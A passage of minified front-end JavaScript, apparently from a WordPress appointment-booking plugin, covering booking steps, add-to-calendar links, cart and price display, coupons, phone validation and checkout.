0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class ke{static calculateTimezoneOffset(e){if(\"UTC\"===e)return 0;const[t,s]=e.split(\":\").map(Number);if(isNaN(t)||isNaN(s))throw new Error(\"Unknown timezone format: \"+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return\u002F^[A-Za-z]+\\\u002F[A-Za-z_]+(\\\u002F[A-Za-z_]+)?$\u002F.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}\u002Fg,\"\")}static formatDateToCalendarLocal(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}|Z\u002Fg,\"\")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const n=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,n),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,n,a){const o=C().settings().getTimezone();let r=this.formatDateForCalendar(t,o),l=this.formatDateForCalendar(s,o);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(r=r.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"));const p=[\"BEGIN:VCALENDAR\",\"VERSION:2.0\",`PRODID:${C().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(o)&&p.push(\"BEGIN:VTIMEZONE\",\"TZID:\"+o,\"END:VTIMEZONE\");let m={dtstamp:\"DTSTAMP:\"+this.formatDateToCalendar(new Date),uid:\"UID:\"+e,dtstart:\"DTSTART\"+(this.isTimezoneProvideByIANA(o)?\";TZID=\"+o+\":\":\":\")+r,dtend:\"DTEND\"+(this.isTimezoneProvideByIANA(o)?\";TZID=\"+o+\":\":\":\")+l,summary:\"SUMMARY:\"+i,description:\"DESCRIPTION:\"+n,location:\"LOCATION:\"+a};m=wp.hooks.applyFilters(\"mpa_prepare_vevent_data\",m);let c=Object.values(m);p.push(\"BEGIN:VEVENT\",...c,\"END:VEVENT\"),p.push(\"END:VCALENDAR\");const h=p.join(\"\\n\"),d=new Blob([h],{type:\"text\u002Fcalendar\"});return window.URL.createObjectURL(d)}static createGoogleCalendarURL(e,t,s,i,n){const a=new URL(\"https:\u002F\u002Fwww.google.com\u002Fcalendar\u002Frender\"),o=C().settings().getTimezone();let r=this.formatDateForCalendar(e,o),l=this.formatDateForCalendar(t,o);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(r=r.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\")),a.search=new URLSearchParams({action:\"TEMPLATE\",text:s,dates:`${r}\u002F${l}`,details:i,location:n}).toString(),this.isTimezoneProvideByIANA(o)&&a.searchParams.append(\"ctz\",o),a.toString()}static createYahooCalendarURL(e,t,s,i,n){const a=new URL(\"https:\u002F\u002Fcalendar.yahoo.com\u002F\"),o=C().settings().getTimezone();let r=this.formatDateForCalendar(e,o),l=this.formatDateForCalendar(t,o),p={v:\"60\",view:\"d\",type:\"20\",title:s,desc:i,in_loc:n};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(p.st=r.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),p.dur=\"allday\"):(p.st=r,p.et=l),a.search=new URLSearchParams(p).toString(),a.toString()}}class Pe{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(\".booking-reservations\"),this.$bookingCartItem=this.$bookingCartItems.find(\".reservation\"),this.$addToCalendarGoogle=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--google\"),this.$addToCalendarApple=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--apple\"),this.$addToCalendarOutlook=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--outlook\"),this.$addToCalendarYahoo=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--yahoo\")}assignURL(e,t){e.attr(\"href\",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction(\"mpa_booking_details_section_init\",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),n=e.employee.name+\". \"+s.getQuantityLabel()+\": \"+e.getCapacity()+\".\";let a=i;e.getCapacity()>1&&(a+=\" \",a+='\u003Cspan class=\"mpa-reservation-capacity\">',a+=s.getQuantityLabel()+\": \"+e.getCapacity(),a+=\"\u003C\u002Fspan>\"),t.find(\".reservation-title\").html(a),t.find(\".reservation-date\").html(E(e.date)),t.find(\".reservation-time\").html(e.time.toString());const o=ke.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_ics\",e.location.name,e)),r=ke.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_google\",e.location.name,e)),l=ke.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_yahoo\",e.location.name,e));this.assignURL(t.find(\".mpa-add-to-calendar-link--google\"),r),this.assignURL(t.find(\".mpa-add-to-calendar-link--apple\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--outlook\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--yahoo\"),l)})),this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!1)}reset(){this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!0);const e=\"#\";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class Ie extends Ee{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(\".mpa-message\").first(),this.$buttonReset=this.$buttons.find(\".mpa-button-reset\"),this.$bookingDetails=this.$element.find(\".mpa-booking-details\").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new Pe(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(h(\"Making a reservation...\",\"motopress-appointment\")+' \u003Cspan class=\"mpa-preloader\">\u003C\u002Fspan>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on(\"click\",this.resetForm.bind(this))}theId(){return\"booking\"}react(){this.isPosted&&(this.$buttons.removeClass(\"mpa-hide\"),this.$buttonBack.toggleClass(\"mpa-hide\",this.isBooked),this.$buttonReset.toggleClass(\"mpa-hide\",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){f(\"\u002Fbookings\",{...wp.hooks.applyFilters(\"mpa_booking_cart_data\",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction(\"mpa_booking_cart_response\",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass(\"mpa-hide\"),this.$buttonReset.addClass(\"mpa-hide\")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(h(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return\"redirect_url\"in e&&\"\"!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger(\"mpa_reset_booking\")}}function Te(e){let t=\"\";for(let s in e)t+=\" \"+s+'=\"'+e[s]+'\"';return t}function $e(e,t={}){return\"\u003Cbutton\"+Te(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function De(e,t){let s={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},i=t.clone();i.attr(\"data-id\",e.getItemId());let n=e.getCapacityOptions();for(let t in s){let a=s[t],o=i.find(a).first(),r=\"{\"+t+\"}\";if(!(o.length>0?o.html():\"\").includes(r))continue;let l=\"\";switch(t){case\"service_id\":l=e.service.id;break;case\"service_name\":l=e.service.name;break;case\"service_thumbnail\":l=Oe(e.service.thumbnail);break;case\"employee_id\":l=e.employee.id;break;case\"employee_name\":l=e.employee.name;break;case\"location_id\":l=e.location.id;break;case\"location_name\":l=e.location.name;break;case\"reservation_date\":l=E(e.date);break;case\"reservation_save_date\":l=E(e.date,\"internal\");break;case\"reservation_time\":l=e.time.toString(\"short\");break;case\"reservation_period\":l=e.time.toString();break;case\"reservation_save_period\":l=e.time.toString(\"internal\");break;case\"reservation_capacity\":l=Be(m(n,n),e.capacity);break;case\"reservation_clients\":l=Fe(m(n,n),e.capacity);break;case\"reservation_clients_count\":l=e.capacity;break;case\"reservation_price\":let t=e.employee.id;l=Me(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(r,l))}return i.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),i.find('[name*=\"{item_id}\"]').each(((t,s)=>{s.name=s.name.replace(\"{item_id}\",e.getItemId())})),1===n.length&&i.find(\".cell-people\").addClass(\"mpa-hide\"),i}function xe(e){let t=\"\";t+='\u003Ctable class=\"mpa-order widefat\">',t+=\"\u003Ctbody>\";for(let s of e.products)t+='\u003Ctr class=\"mpa-order-service\">',t+='\u003Ctd class=\"column-service\">',t+='\u003Cspan class=\"mpa-service-name\">'+s.name+\"\u003C\u002Fspan>\",s.capacity>1&&(t+='\u003Cspan class=\"mpa-reservation-capacity\">',t+=s.quantity_label+\": \"+s.capacity,t+=\"\u003C\u002Fspan>\"),t+=\"\u003C\u002Ftd>\",t+='\u003Ctd class=\"column-price\">'+Ae(s.price)+\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\";return t+='\u003Ctr class=\"mpa-order-subtotal\">',t+='\u003Cth class=\"column-subtotal\">'+h(\"Subtotal\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+Ae(e.subtotal)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftbody>\",t+=\"\u003Ctfoot>\",e.coupon&&(t+='\u003Ctr class=\"mpa-order-coupon\">',t+='\u003Cth class=\"column-coupon\">',t+=h(\"Coupon: %s\",\"motopress-appointment\").replace(\"%s\",e.coupon.code),t+=\"\u003C\u002Fth>\",t+='\u003Ctd class=\"column-price\">',t+=Ae(-e.coupon.amount),t+=\" \",t+='\u003Ca href=\"#\" class=\"mpa-remove-coupon\">'+h(\"Remove\",\"motopress-appointment\")+\"\u003C\u002Fa>\",t+=\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\"),t+='\u003Ctr class=\"mpa-order-total\">',t+='\u003Cth class=\"column-total\">'+h(\"Total\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+Ae(e.total)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftfoot>\",t+=\"\u003C\u002Ftable>\",t}function Me(e,t={}){let s=C().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=\".\",i=\",\"){let n,a,o,r,l,p=\"\";return e\u003C0&&(p=\"-\",e*=-1),n=parseInt(e=(+e||0).toFixed(t))+\"\",(a=n.length)>3?a%=3:a=0,l=a?n.substr(0,a)+i:\"\",o=n.substr(a).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+i),r=t?s+Math.abs(e-n).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",p+l+o+r}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),n=\"mpa-price\";if(0==e&&(n+=\" mpa-zero-price\"),0==e&&t.literal_free)n+=\" mpa-price-free\",i=d(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=C().settings().getDecimalSeparator());let s=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(s,\"\")}(i));let s='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":i=s+i;break;case\"after\":i+=s;break;case\"before_with_space\":i=s+\"&nbsp;\"+i;break;case\"after_with_space\":i=i+\"&nbsp;\"+s}e\u003C0&&(i=\"-\"+i)}return'\u003Cspan class=\"'+n+'\">'+i+\"\u003C\u002Fspan>\"}function Ae(e,t={}){return t.literal_free=!1,Me(e,t)}function Be(e,t,s={}){let i=\"\u003Cselect\"+Te(s)+\">\";return i+=Fe(e,t),i+=\"\u003C\u002Fselect>\",i}function Le(e,t,s=!1){let i=\"\";return i='\u003Coption value=\"'+e+'\"'+(s?' selected=\"selected\"':\"\")+\">\",i+=t,i+=\"\u003C\u002Foption>\",i}function Fe(e,t){let s=\"\";for(let i in e)s+=Le(i,e[i],i==t);return s}function Re(e,t,s,i){let n=\"\";const a=String(i);for(const[e,s]of Object.entries(t))n+=Le(e,s,e===a);for(let e of s)n+=Le(String(e.id),e.name,String(e.id)===a);e.empty().append(n).val(a)}function Oe(e){let{width:t,height:s}=C().settings().getThumbnailSize();return\"\u003Cimg\"+Te({width:t,height:s,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class Ne extends Ee{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((n=>{n.isSet()&&n.getItemId()!=t&&n.isAtTime(s,i)&&n.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,n,a;e.setCapacity((i=e.getCapacity(),n=t,a=s,Math.max(n,Math.min(i,a))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id=\"'+s+'\"]',n=this.$items.find(i);0===n.length?(n=this.addItem(e),this.bindListeners(n)):(n=this.updateItem(n,e),this.bindListeners(n))})),this.updateTotalPrice()}addItem(e){let t=De(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let s=De(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data(\"id\"),s=this.cart.getItem(t),i=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),n=e.find(\".mpa-reservation-price\"),a=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),o=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");i.on(\"change\",(t=>{let i=$(t.target.value);s.setCapacity(i);let a=s.getBookingVariantForCapacity(i),o=a.employeeId,r=a.locationId;if(s.getEmployeeId()!=o)s.setEmployee(o,!1),s.setLocation(r,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(o,i);n.html(Me(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&a.on(\"click\",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:i,currencyCode:C().settings().getCurrency()}}))})),this.isMultibookingEnabled()||o.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(Ae(this.cart.getTotalPrice()))}isMultibookingEnabled(){return C().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:C().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class He{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name=\"coupon_code\"]'),this.$applyButton=e.find(\".mpa-apply-coupon-button\"),this.$messageHolder=e.find(\".mpa-message-wrapper\"),this.$preloader=e.find(\".mpa-preloader\"),this.$parentForm=e.parents(\".mpa-booking-step\").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on(\"keydown\",(e=>{\"Enter\"===e.code&&this.onEnter(e)})),this.$applyButton.on(\"click\",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),z().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(h(\"Coupon code applied successfully.\",\"motopress-appointment\"))):this.setMessage(h(\"Sorry, your booking is not eligible for this coupon.\",\"motopress-appointment\")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(h(\"Coupon code is empty.\",\"motopress-appointment\"))}reset(){this.$couponCode.val(\"\"),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass(\"mpa-hide\")):(this.enable(),this.$element.removeClass(\"mpa-hide\"))}disable(){this.$couponCode.prop(\"disabled\",!0),this.$applyButton.prop(\"disabled\",!0)}enable(){this.$couponCode.prop(\"disabled\",!1),this.$applyButton.prop(\"disabled\",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger(\"mpa_booking_step_disable\")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger(\"mpa_booking_step_enable\")}triggerApplied(e){this.$parentForm.trigger(\"mpa_booking_coupon_applied\",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}}function Ve(e){const t=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:h(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",t);const s=n(e[0],{separateDialCode:!0,initialCountry:i.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:i.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});s.promise.then((()=>{e.val()&&a(),e.on(\"countrychange\",(e=>{a()})),e.on(\"input\",(e=>{a()}))}));const a=()=>{s.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(s.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),t.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),t.removeClass(\"mpa-hide\"))};return s}window.mpa_intl_tel_input=Ve;class ze extends Ee{setupProperties(){super.setupProperties(),this.name=\"\",this.email=\"\",this.phone=\"\",this.notes=\"\",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(\".mpa-checkout-form\"),this.$name=this.$element.find(\".mpa-customer-name\"),this.$email=this.$element.find(\".mpa-customer-email\"),this.$phone=this.$element.find(\".mpa-customer-phone\"),this.$notes=this.$element.find(\".mpa-customer-notes\"),this.$order=this.$element.find(\".mpa-order\"),wp.hooks.doAction(\"mpa_step_checkout_form\",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ve(this.$phone)),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.$messageHolder=this.$element.find(\".mpa-message\").first(),this.$preloader=this.$element.find(\".mpa-loading\"),C().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(\".mpa-customer-create-account\"),this.$createAccountDescription=this.$element.find(\".mpa-customer-create-account-description\"),this.setProperty(\"createAccount\",this.$createAccount.prop(\"checked\"))),i&&i.currentCustomer&&i.currentCustomer.name&&(this.setProperty(\"name\",i.currentCustomer.name),this.$name.val(i.currentCustomer.name)),i&&i.currentCustomer&&i.currentCustomer.email&&(this.setProperty(\"email\",i.currentCustomer.email),this.$email.val(i.currentCustomer.email)),i&&i.currentCustomer&&\"undefined\"!==i.currentCustomer.phone&&(this.setProperty(\"phone\",i.currentCustomer.phone),this.phoneValidator.setNumber(i.currentCustomer.phone),this.$phone.trigger(\"input\")),this.service=null,this.couponSection=null}theId(){return\"checkout\"}propertiesSchema(){return{name:{type:\"string\",default:\"\"},email:{type:\"string\",default:\"\"},phone:{type:\"string\",default:\"\"},notes:{type:\"string\",default:\"\"},acceptTerms:{type:\"bool\",default:!1},$createAccount:{type:\"bool\",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on(\"submit\",(e=>!1)),this.$name.on(\"input\",(e=>this.setProperty(\"name\",e.target.value))),this.$email.on(\"input\",(e=>this.setProperty(\"email\",e.target.value))),this.$phone.on(\"input\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on(\"countrychange\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on(\"input\",(e=>this.setProperty(\"notes\",e.target.value))),C().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),C().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on(\"input\",(e=>{this.setProperty(\"createAccount\",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass(\"mpa-hide\"):this.$createAccountDescription.addClass(\"mpa-hide\")})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():C().settings().isCouponsEnabled()&&(this.couponSection=new He(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction(\"mpa_step_checkout_reset\",this.$checkoutForm),this.$notes.val(\"\"),this.resetProperty(\"notes\"),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),C().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop(\"checked\",!1),this.resetProperty(\"createAccount\")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(xe(this.cart.getOrder()));let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters(\"mpa_step_checkout_form_valid\",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is(\"[required]\"))||\"\"!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is(\"[required]\"))||\"\"!==this.email&&!!this.email.match(\u002F.+@.+\u002F)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is(\"[required]\"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!C().settings().getTermsPageIdForAcceptance()||C().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}async maybeSubmit(){if(wp.hooks.hasFilter(\"mpa_step_checkout_maybe_submit\")&&await wp.hooks.applyFilters(\"mpa_step_checkout_maybe_submit\",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&\"\"!==this.email){this.showPreloader();return f(\"\u002Fcustomers\u002Fcreate\",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class qe{setupProperties(){this.gatewayId=\"basic\",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass(\"mpa-hide\"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass(\"mpa-hide\"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return f(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails})}getDefaults(){return{country:C().settings().getCountry(),redirect_url:{payment_received:C().settings().getReservationReceivedPageUrl(),failed_transaction:C().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ue extends qe{enable(){}}class je{setupProperties(){this.methods=null,this.uid=\"\",this.paymentMethods=new we,this.selectedMethod=\"\",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=K(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass(\"mpa-hide\")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title 